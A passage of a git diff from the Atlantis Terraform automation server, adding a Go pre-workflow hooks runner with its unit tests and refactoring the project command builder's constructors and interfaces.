Any[string](), Any[string](), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) +} diff --git a/server/events/pre_workflow_hooks_command_runner.go b/server/events/pre_workflow_hooks_command_runner.go new file mode 100644 index 0000000000..953193e514 --- /dev/null +++ b/server/events/pre_workflow_hooks_command_runner.go @@ -0,0 +1,161 @@ +package events + +import ( + "fmt" + "strings" + + "github.com/google/uuid" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_pre_workflow_hook_url_generator.go PreWorkflowHookURLGenerator + +// PreWorkflowHookURLGenerator generates urls to view the pre workflow progress. +type PreWorkflowHookURLGenerator interface { + GenerateProjectWorkflowHookURL(hookID string) (string, error) +} + +//go:generate pegomock generate --package mocks -o mocks/mock_pre_workflows_hooks_command_runner.go PreWorkflowHooksCommandRunner + +type PreWorkflowHooksCommandRunner interface { + RunPreHooks(ctx *command.Context, cmd *CommentCommand) error +} + +// DefaultPreWorkflowHooksCommandRunner is the first step when processing a workflow hook commands. +type DefaultPreWorkflowHooksCommandRunner struct { + VCSClient vcs.Client `validate:"required"` + WorkingDirLocker WorkingDirLocker `validate:"required"` + WorkingDir WorkingDir `validate:"required"` + GlobalCfg valid.GlobalCfg `validate:"required"` + PreWorkflowHookRunner runtime.PreWorkflowHookRunner `validate:"required"` + CommitStatusUpdater CommitStatusUpdater `validate:"required"` + Router PreWorkflowHookURLGenerator `validate:"required"` +} + +// RunPreHooks runs pre_workflow_hooks when PR is opened or updated. +func (w *DefaultPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *CommentCommand) error { + preWorkflowHooks := make([]*valid.WorkflowHook, 0) + for _, repo := range w.GlobalCfg.Repos { + if repo.IDMatches(ctx.Pull.BaseRepo.ID()) && len(repo.PreWorkflowHooks) > 0 { + preWorkflowHooks = append(preWorkflowHooks, repo.PreWorkflowHooks...) + } + } + + // short circuit any other calls if there are no pre-hooks configured + if len(preWorkflowHooks) == 0 { + return nil + } + + ctx.Log.Info("Pre-workflow hooks configured, running...") + + unlockFn, err := w.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, DefaultWorkspace, DefaultRepoRelDir) + if err != nil { + return err + } + ctx.Log.Debug("got workspace lock") + defer unlockFn() + + repoDir, err := w.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) + if err != nil { + return err + } + + var escapedArgs []string + if cmd != nil { + escapedArgs = escapeArgs(cmd.Flags) + } + + err = w.runHooks( + models.WorkflowHookCommandContext{ + BaseRepo: ctx.Pull.BaseRepo, + HeadRepo: ctx.HeadRepo, + Log: ctx.Log, + Pull: ctx.Pull, + User: ctx.User, + Verbose: false, + EscapedCommentArgs: escapedArgs, + CommandName: cmd.Name.String(), + API: ctx.API, + }, + preWorkflowHooks, repoDir) + + if err != nil { + ctx.Log.Err("Error running pre-workflow hooks %s.", err) + return err + } + + ctx.Log.Info("Pre-workflow hooks completed successfully") + + return nil +} + +func (w *DefaultPreWorkflowHooksCommandRunner) runHooks( + ctx models.WorkflowHookCommandContext, + preWorkflowHooks []*valid.WorkflowHook, + repoDir string, +) error { + for i, hook := range preWorkflowHooks { + ctx.HookDescription = hook.StepDescription + if ctx.HookDescription == "" { + ctx.HookDescription = fmt.Sprintf("Pre workflow hook #%d", i) + } + + ctx.HookStepName = fmt.Sprintf("pre %s #%d", ctx.CommandName, i) + + ctx.Log.Debug("Processing pre workflow hook '%s', Command '%s', Target commands [%s]", + ctx.HookDescription, ctx.CommandName, hook.Commands) + if hook.Commands != "" && !strings.Contains(hook.Commands, ctx.CommandName) { + ctx.Log.Debug("Skipping pre workflow hook '%s' as command '%s' is not in Commands [%s]", + ctx.HookDescription, ctx.CommandName, hook.Commands) + continue + } + + ctx.Log.Debug("Running pre workflow hook: '%s'", ctx.HookDescription) + ctx.HookID = uuid.NewString() + shell := hook.Shell + if shell == "" { + ctx.Log.Debug("Setting shell to default: '%s'", shell) + shell = "sh" + } + shellArgs := hook.ShellArgs + if shellArgs == "" { + ctx.Log.Debug("Setting shellArgs to default: '%s'", shellArgs) + shellArgs = "-c" + } + url, err := w.Router.GenerateProjectWorkflowHookURL(ctx.HookID) + if err != nil && !ctx.API { + return err + } + + if err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.PendingCommitStatus, ctx.HookDescription, "", url); err != nil { + ctx.Log.Warn("unable to update pre workflow hook status: %s", err) + ctx.Log.Info("is api? %v", ctx.API) + if !ctx.API { + ctx.Log.Info("is api? %v", ctx.API) + return err + } + } + + _, runtimeDesc, err := w.PreWorkflowHookRunner.Run(ctx, hook.RunCommand, shell, shellArgs, repoDir) + + if err != nil { + if err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.FailedCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { + ctx.Log.Warn("unable to update pre workflow hook status: %s", err) + } + return err + } + + if err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.SuccessCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { + ctx.Log.Warn("unable to update pre workflow hook status: %s", err) + if !ctx.API { + return err + } + } + } + + return nil +} diff --git a/server/events/pre_workflow_hooks_command_runner_test.go b/server/events/pre_workflow_hooks_command_runner_test.go new file mode 100644 index 0000000000..29912576da --- /dev/null +++ b/server/events/pre_workflow_hooks_command_runner_test.go @@ -0,0 +1,549 @@ +package events_test + +import ( + "errors" + "testing" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + runtime_mocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/models/testdata" + vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +var preWh events.DefaultPreWorkflowHooksCommandRunner +var preWhWorkingDir *mocks.MockWorkingDir +var preWhWorkingDirLocker *mocks.MockWorkingDirLocker +var whPreWorkflowHookRunner *runtime_mocks.MockPreWorkflowHookRunner +var preCommitStatusUpdater *mocks.MockCommitStatusUpdater + +func preWorkflowHooksSetup(t *testing.T) { + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + preWhWorkingDir = mocks.NewMockWorkingDir() + preWhWorkingDirLocker = mocks.NewMockWorkingDirLocker() + whPreWorkflowHookRunner = runtime_mocks.NewMockPreWorkflowHookRunner() + preCommitStatusUpdater = mocks.NewMockCommitStatusUpdater() + preWorkflowHookURLGenerator := mocks.NewMockPreWorkflowHookURLGenerator() + + preWh = events.DefaultPreWorkflowHooksCommandRunner{ + VCSClient: vcsClient, + WorkingDirLocker: preWhWorkingDirLocker, + WorkingDir: preWhWorkingDir, + PreWorkflowHookRunner: whPreWorkflowHookRunner, + CommitStatusUpdater: preCommitStatusUpdater, + Router: preWorkflowHookURLGenerator, + } +} + +func newBool(b bool) *bool { + return &b +} + +func TestRunPreHooks_Clone(t *testing.T) { + + log := logging.NewNoopLogger(t) + + var newPull = testdata.Pull + newPull.BaseRepo = testdata.GithubRepo + + ctx := &command.Context{ + Pull: newPull, + HeadRepo: testdata.GithubRepo, + User: testdata.User, + Log: log, + } + + defaultShell := "sh" + defaultShellArgs := "-c" + + testHook := valid.WorkflowHook{ + StepName: "test", + RunCommand: "some command", + } + + testHookWithShell := valid.WorkflowHook{ + StepName: "test1", + RunCommand: "echo test1", + Shell: "bash", + } + + testHookWithShellArgs := valid.WorkflowHook{ + StepName: "test2", + RunCommand: "echo test2", + ShellArgs: "-ce", + } + + testHookWithShellandShellArgs := valid.WorkflowHook{ + StepName: "test3", + RunCommand: "echo test3", + Shell: "bash", + ShellArgs: "-ce", + } + + testHookWithPlanCommand := valid.WorkflowHook{ + StepName: "test4", + RunCommand: "echo test4", + Commands: "plan", + } + + testHookWithPlanApplyCommands := valid.WorkflowHook{ + StepName: "test5", + RunCommand: "echo test5", + Commands: "plan, apply", + } + + repoDir := "path/to/repo" + result := "some result" + runtimeDesc := "" + + pCtx := models.WorkflowHookCommandContext{ + BaseRepo: testdata.GithubRepo, + HeadRepo: testdata.GithubRepo, + Pull: newPull, + Log: log, + User: testdata.User, + Verbose: false, + CommandName: "plan", + } + + planCmd := &events.CommentCommand{ + Name: command.Plan, + } + + applyCmd := &events.CommentCommand{ + Name: command.Apply, + } + + t.Run("success hooks in cfg", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("success hooks not in cfg", func(t *testing.T) { + preWorkflowHooksSetup(t) + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + // one with hooks but mismatched id + { + ID: "id1", + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + // one with the correct id but no hooks + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{}, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + + whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + preWhWorkingDirLocker.VerifyWasCalled(Never()).TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, "") + preWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace)) + }) + + t.Run("error locking work dir", func(t *testing.T) { + preWorkflowHooksSetup(t) + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(func() {}, errors.New("some error")) + + err := preWh.RunPreHooks(ctx, planCmd) + + Assert(t, err != nil, "error not nil") + preWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace)) + whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + }) + + t.Run("error cloning", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, errors.New("some error")) + + err := preWh.RunPreHooks(ctx, planCmd) + + Assert(t, err != nil, "error not nil") + + whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("error running pre hook", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, errors.New("some error")) + + err := preWh.RunPreHooks(ctx, planCmd) + + Assert(t, err != nil, "error not nil") + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("comment args passed to webhooks", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + planCmd := &events.CommentCommand{ + Name: command.Plan, + Flags: []string{"comment", "args"}, + } + + expectedCtx := pCtx + expectedCtx.EscapedCommentArgs = []string{"\\c\\o\\m\\m\\e\\n\\t", "\\a\\r\\g\\s"} + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), + Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("shell passed to webhooks", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithShell, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithShell.RunCommand), Eq(testHookWithShell.Shell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("shellArgs passed to webhooks", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithShellArgs, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithShellArgs.RunCommand), Eq(defaultShell), Eq(testHookWithShellArgs.ShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Shell and ShellArgs passed to webhooks", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithShellandShellArgs, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithShellandShellArgs.RunCommand), Eq(testHookWithShellandShellArgs.Shell), + Eq(testHookWithShellandShellArgs.ShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Commands 'plan' set on webhook and plan command", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithPlanCommand, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Commands 'plan' set on webhook and non-plan command", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithPlanCommand, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, applyCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Commands 'plan, apply' set on webhook and plan command", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithPlanApplyCommands, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) +} diff --git a/server/events/project_command_builder.go b/server/events/project_command_builder.go index 391987fbda..604e9da19d 100644 --- a/server/events/project_command_builder.go +++ b/server/events/project_command_builder.go @@ -4,17 +4,23 @@ import ( "fmt" "os" "path/filepath" - "regexp" + "slices" + "sort" "strings" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + tally "github.com/uber-go/tally/v4" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/terraform/tfclient" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" - "github.com/hashicorp/go-version" - "github.com/hashicorp/terraform-config-inspect/tfconfig" "github.com/pkg/errors" + + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" - "github.com/runatlantis/atlantis/server/events/yaml" ) const ( @@ -24,56 +30,238 @@ const ( // DefaultWorkspace is the default Terraform workspace we run commands in. // This is also Terraform's default workspace. DefaultWorkspace = "default" - // DefaultAutomergeEnabled is the default for the automerge setting. - DefaultAutomergeEnabled = false - // DefaultParallelApplyEnabled is the default for the parallel apply setting. - DefaultParallelApplyEnabled = false - // DefaultParallelPlanEnabled is the default for the parallel plan setting. - DefaultParallelPlanEnabled = false + // DefaultDeleteSourceBranchOnMerge being false is the default setting whether or not to remove a source branch on merge + DefaultDeleteSourceBranchOnMerge = false + // DefaultAbortOnExecutionOrderFail being false is the default setting for abort on execution group failures + DefaultAbortOnExecutionOrderFail = false ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder +func NewInstrumentedProjectCommandBuilder( + logger logging.SimpleLogging, + policyChecksSupported bool, + parserValidator *config.ParserValidator, + projectFinder ProjectFinder, + vcsClient vcs.Client, + workingDir WorkingDir, + workingDirLocker WorkingDirLocker, + globalCfg valid.GlobalCfg, + pendingPlanFinder *DefaultPendingPlanFinder, + commentBuilder CommentBuilder, + skipCloneNoChanges bool, + EnableRegExpCmd bool, + EnableAutoMerge bool, + EnableParallelPlan bool, + EnableParallelApply bool, + AutoDetectModuleFiles string, + AutoplanFileList string, + RestrictFileList bool, + SilenceNoProjects bool, + IncludeGitUntrackedFiles bool, + AutoDiscoverMode string, + scope tally.Scope, + terraformClient tfclient.Client, +) *InstrumentedProjectCommandBuilder { + scope = scope.SubScope("builder") + + for _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric} { + metrics.InitCounter(scope, m) + } + + return &InstrumentedProjectCommandBuilder{ + ProjectCommandBuilder: NewProjectCommandBuilder( + policyChecksSupported, + parserValidator, + projectFinder, + vcsClient, + workingDir, + workingDirLocker, + globalCfg, + pendingPlanFinder, + commentBuilder, + skipCloneNoChanges, + EnableRegExpCmd, + EnableAutoMerge, + EnableParallelPlan, + EnableParallelApply, + AutoDetectModuleFiles, + AutoplanFileList, + RestrictFileList, + SilenceNoProjects, + IncludeGitUntrackedFiles, + AutoDiscoverMode, + scope, + terraformClient, + ), + Logger: logger, + scope: scope, + } +} -// ProjectCommandBuilder builds commands that run on individual projects. -type ProjectCommandBuilder interface { +func NewProjectCommandBuilder( + policyChecksSupported bool, + parserValidator *config.ParserValidator, + projectFinder ProjectFinder, + vcsClient vcs.Client, + workingDir WorkingDir, + workingDirLocker WorkingDirLocker, + globalCfg valid.GlobalCfg, + pendingPlanFinder *DefaultPendingPlanFinder, + commentBuilder CommentBuilder, + skipCloneNoChanges bool, + EnableRegExpCmd bool, + EnableAutoMerge bool, + EnableParallelPlan bool, + EnableParallelApply bool, + AutoDetectModuleFiles string, + AutoplanFileList string, + RestrictFileList bool, + SilenceNoProjects bool, + IncludeGitUntrackedFiles bool, + AutoDiscoverMode string, + scope tally.Scope, + terraformClient tfclient.Client, +) *DefaultProjectCommandBuilder { + return &DefaultProjectCommandBuilder{ + ParserValidator: parserValidator, + ProjectFinder: projectFinder, + VCSClient: vcsClient, + WorkingDir: workingDir, + WorkingDirLocker: workingDirLocker, + GlobalCfg: globalCfg, + PendingPlanFinder: pendingPlanFinder, + SkipCloneNoChanges: skipCloneNoChanges, + EnableRegExpCmd: EnableRegExpCmd, + EnableAutoMerge: EnableAutoMerge, + EnableParallelPlan: EnableParallelPlan, + EnableParallelApply: EnableParallelApply, + AutoDetectModuleFiles: AutoDetectModuleFiles, + AutoplanFileList: AutoplanFileList, + RestrictFileList: RestrictFileList, + SilenceNoProjects: SilenceNoProjects, + IncludeGitUntrackedFiles: IncludeGitUntrackedFiles, + AutoDiscoverMode: AutoDiscoverMode, + ProjectCommandContextBuilder: NewProjectCommandContextBuilder( + policyChecksSupported, + commentBuilder, + scope, + ), + TerraformExecutor: terraformClient, + } +} + +type ProjectPlanCommandBuilder interface { // BuildAutoplanCommands builds project commands that will run plan on // the projects determined to be modified. - BuildAutoplanCommands(ctx *CommandContext) ([]models.ProjectCommandContext, error) + BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) // BuildPlanCommands builds project plan commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. - BuildPlanCommands(ctx *CommandContext, comment *CommentCommand) ([]models.ProjectCommandContext, error) - // BuildApplyCommands builds project apply commands for ctx and comment. If + BuildPlanCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) +} + +type ProjectApplyCommandBuilder interface { + // BuildApplyCommands builds project Apply commands for this ctx and comment. If // comment doesn't specify one project then there may be multiple commands // to be run. - BuildApplyCommands(ctx *CommandContext, comment *CommentCommand) ([]models.ProjectCommandContext, error) + BuildApplyCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) +} + +type ProjectApprovePoliciesCommandBuilder interface { + // BuildApprovePoliciesCommands builds project PolicyCheck commands for this ctx and comment. + BuildApprovePoliciesCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) +} + +type ProjectVersionCommandBuilder interface { + // BuildVersionCommands builds project Version commands for this ctx and comment. If + // comment doesn't specify one project then 